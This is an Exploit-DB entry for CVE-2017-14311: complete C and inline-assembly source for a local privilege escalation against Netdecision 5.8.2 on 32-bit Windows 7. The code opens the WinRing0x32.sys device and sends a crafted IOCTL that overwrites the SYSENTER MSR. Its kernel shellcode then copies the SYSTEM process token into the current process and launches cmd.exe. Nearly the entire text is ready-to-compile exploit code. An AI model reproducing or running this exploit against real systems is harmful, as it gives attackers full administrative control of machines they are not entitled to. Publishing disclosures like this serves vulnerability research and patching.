Netdecision 5.8.2 - Local Privilege Escalation

EDB-ID: 42735
Author: Peter Baris
Published: 2017-09-16
CVE: CVE-2017-14311
Type: Local
Platform: Windows
Vulnerable App: N/A

 /* 
# Exploit Title: Netdecision 5.8.2 - Local Privilege Escalation - Winring0x32.sys
# Date: 2017.09.17
# Exploit Author: Peter Baris
# Vendor Homepage: www.netmechanica.com
# Software Link: http://www.netmechanica.com/downloads/ //registration required
# Version: 5.8.2
# Tested on: Windows 7 Pro SP1 x86 / Windows 7 Enterprise SP1
# CVE : CVE-2017-14311

Vendor notified on 2017.09.11 - no response */

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <tlhelp32.h>
#include <Psapi.h>

#define DEVICE_NAME L"\\\\.\\WinRing0_1_2_0"



LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
HANDLE GetDeviceHandle(LPCTSTR FileName) {
HANDLE hFile = NULL;

hFile = CreateFile(FileName,
GENERIC_READ | GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
NULL,
0);

return hFile;
}


extern ULONG ZwYieldExecution = NULL;
extern PVOID KernelBaseAddressInKernelMode = NULL;
extern HMODULE hKernelInUserMode = NULL;

VOID GetKiFastSystemCall() {

SIZE_T ReturnLength;
HMODULE hntdll = NULL;

ULONG ZwYieldExecution_offset;


hntdll = LoadLibraryA("ntdll.dll");

if (!hntdll) {
printf("[-] Failed to Load ntdll.dll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

LPVOID drivers[1024];
DWORD cbNeeded;

EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
KernelBaseAddressInKernelMode = drivers[0];


printf("[+] Kernel base address: 0x%X\n", KernelBaseAddressInKernelMode);

hKernelInUserMode = LoadLibraryA("ntkrnlpa.exe");

if (!hKernelInUserMode) {
printf("[-] Failed to load kernel: 0x%X\n", GetLastError());
exit;
}


printf("[+] KernelImage Base in User-Mode 0x%X\r\n", hKernelInUserMode);




ZwYieldExecution = GetProcAddress(hKernelInUserMode, "ZwYieldExecution");

if (!ZwYieldExecution) {
printf("[-] Failed to resolve KiFastSystemCall: 0x%X\n", GetLastError());
exit;
}

ZwYieldExecution_offset = (ULONG)ZwYieldExecution - (ULONG)hKernelInUserMode;
printf("[+] ZwYieldExecution's offset address in ntkrnlpa.exe: 0x%X\n", ZwYieldExecution_offset);


(ULONG)ZwYieldExecution = (ULONG)ZwYieldExecution_offset + (ULONG)KernelBaseAddressInKernelMode;

printf("[+] ZwYieldExecution's address in kernel-mode: 0x%X\n", ZwYieldExecution);


if (hntdll) {
FreeLibrary(hntdll);
}

if (hKernelInUserMode) {
FreeLibrary(hKernelInUserMode);
}

hntdll = NULL;

return hKernelInUserMode;
return ZwYieldExecution;
}


extern ULONG eip = NULL;
extern ULONG pesp = NULL;
extern ULONG pebp = NULL;
extern ULONG ETHREAD = NULL;

ULONG Shellcode() {

ULONG FunctionAddress = ZwYieldExecution;

__asm {

pushad
pushfd
xor eax,eax

mov edi, FunctionAddress ; Address of ZwYieldExection to EDI

SearchCall:
mov eax, 0xe8
scasb
jnz SearchCall

mov ebx, edi
mov ecx, [edi]
add ebx, ecx; EBX points to KiSystemService
add ebx, 0x4

lea edi, [ebx - 0x1]
SearchFastCallEntry:
mov eax, 0x00000023
scasd
jnz SearchFastCallEntry
mov eax, 0xa10f306a
scasd
jnz SearchFastCallEntry

lea eax,[edi-0x9]
xor edx, edx
mov ecx, 0x176


wrmsr
popfd
popad


mov eax,ETHREAD

mov eax,[eax]
mov eax, [eax+0x050]
mov ecx, eax
mov edx, 0x4

FindSystemProcess :
mov eax, [eax + 0x0B8]
sub eax, 0x0B8
cmp[eax + 0x0B4], edx
jne FindSystemProcess


mov edx, [eax + 0x0F8]
mov[ecx + 0x0F8], edx

;xor eax, eax
mov esp,pesp
mov ebp,pebp

push eip
; int 3
ret

}

}



int main()
{
HANDLE hlib = NULL;
HANDLE hFile = NULL;
PVOID lpInBuffer = NULL;
ULONG lpOutBuffer = NULL;
ULONG lpBytesReturned;
PVOID BuffAddress = NULL;
SIZE_T BufferSize = 0x1000;
SIZE_T nOutBufferSize = 0x800;
ULONG Interval = 0;
ULONG Shell = &Shellcode;
NTSTATUS NtStatus = NULL;



/* Undocumented feature to trigger the vulnerability */
hlib = LoadLibraryA("ntdll.dll");

if (!hlib) {
printf("[-] Failed to load the library: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}


GetKiFastSystemCall();

/* Allocate memory for our input and output buffers */
lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

/*Getting KiFastSystemCall address from ntdll.dll to restore it in 0x176 MSR*/


lpOutBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//printf("[+] Address to write our shellcode's address to: 0x%X\r\n", lpOutBuffer);


/* Crafting the input buffer */

BuffAddress = (PVOID)(((ULONG)lpInBuffer));
*(PULONG)BuffAddress = (ULONG)0x00000176; /*IA32_SYSENTER_EIP MSR*/
BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x4));
*(PULONG)BuffAddress = (ULONG)Shell; /*Our assembly shellcode Pointer into EAX*/
BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x8));
*(PULONG)BuffAddress = (ULONG)0x00000000; /* EDX is 0x00000000 in 32bit mode */
BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0xc));
*(PULONG)BuffAddress = (ULONG)0x00000000;


//RtlFillMemory(lpInBuffer, BufferSize, 0x41);
//RtlFillMemory(lpOutBuffer, BufferSize, 0x42);


//printf("[+] Trying the get the handle for the WinRing0_1_2_0 device.\r\n");

hFile = GetDeviceHandle(FileName);

if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Can't get the device handle. 0x%X\r\n", GetLastError());
return 1;
}
else
{
printf("[+] Handle opened for WinRing0x32. Sending IOCTL.\r\n");
}

/*Here we calculate the EIP for our return from kernel-mode. This exploit does not let us simply adjust the stack and return*/

(HANDLE)eip = GetModuleHandleA(NULL); /*Getting the base address of our process*/
printf("[+] Current process base address 0x%X\r\n", (HANDLE)eip);
(HANDLE)eip = eip + 0x13ae; /*Any time you change something in the main() section you MUST adjust the offset to point to the PUSH 40 instrction*/
printf("[+] Return address (EIP) from kernel-mode 0x%X\r\n", (HANDLE)eip);

/*Setting CPU affinity before execution to maximize the chance of executing our code on the same CPU core*/
DWORD_PTR i = 1; /*CPU Core with ID 1 will be always chosen for the execution*/

ULONG affinity = SetThreadAffinityMask(GetCurrentThread(), i);

printf("[+] Setting affinity for logical CPU with ID:%d\r\n", i);
if (affinity == NULL) {

printf("[-] Something went wrong while setting CPU affinity 0x%X\r\n", GetLastError());
exit(1);
}

ETHREAD = (ULONG)KernelBaseAddressInKernelMode + 0x12bd24; /*Offset to nt!KiInitialThread as TEB is not readable*/

/*Saving stack pointer and stack frame of user-mode before diving in kernel-mode to restore it before returning to user-mode */

__asm {

mov pesp, esp
mov pebp, ebp
nop
}


DeviceIoControl(hFile,
0x9C402088,
lpInBuffer,
0x10,
lpOutBuffer,
0x20,
&lpBytesReturned,
NULL);



STARTUPINFO info = { sizeof(info) };
PROCESS_INFORMATION processInfo;
NTSTATUS proc;
LPCSTR command = L"C:\\Windows\\System32\\cmd.exe";
proc = CreateProcess(command, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &info, &processInfo);

if (!proc) {

printf("ERROR 0x%X\r\n", proc);
}
WaitForSingleObject(processInfo.hProcess, INFINITE);


exit(0);
}

Related Posts